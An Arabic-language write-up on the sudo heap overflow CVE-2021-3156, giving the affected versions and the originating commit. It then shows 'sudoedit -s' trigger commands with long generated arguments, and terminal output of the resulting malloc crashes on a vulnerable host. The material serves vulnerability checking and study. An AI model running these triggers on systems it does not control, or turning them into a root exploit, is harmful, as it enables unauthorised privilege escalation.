
استغلال إثبات المفهوم لـ CVE-2021-3156، وهو تجاوز سعة مخزن مؤقت مستند إلى الكومة في sudo يسمح بتصعيد الامتيازات المحلية إلى الجذر عبر sudoedit -s مع وسيطة سطر أوامر مصممة.
تؤثر ثغرة بارون ساميديت (CVE-2021-3156) على الإصدارات القديمة من sudo من 1.8.2 إلى 1.8.31p2 والإصدارات المستقرة من 1.9.0 إلى 1.9.5p1. تم إدخال هذا الخلل في تجاوز سعة المخزن المؤقت في الكومة في يوليو 2011 عبر الالتزام 8255ed69 وبقي غير مكتشف لما يقرب من عقد.
يحتوي Sudo قبل الإصدار 1.9.5p2 على خطأ إزاحة بمقدار واحد (off-by-one) يمكن أن يؤدي إلى تجاوز سعة المخزن المؤقت في الكومة، مما يسمح بتصعيد الصلاحيات إلى الجذر عبر "sudoedit -s" ووسيطة سطر أوامر تنتهي بحرف شرطة مائلة عكسية واحدة.
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
shuhaib@somebox:~$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31
shuhaib@somebox:~$ sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted (core dumped)
shuhaib@somebox:~$ sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)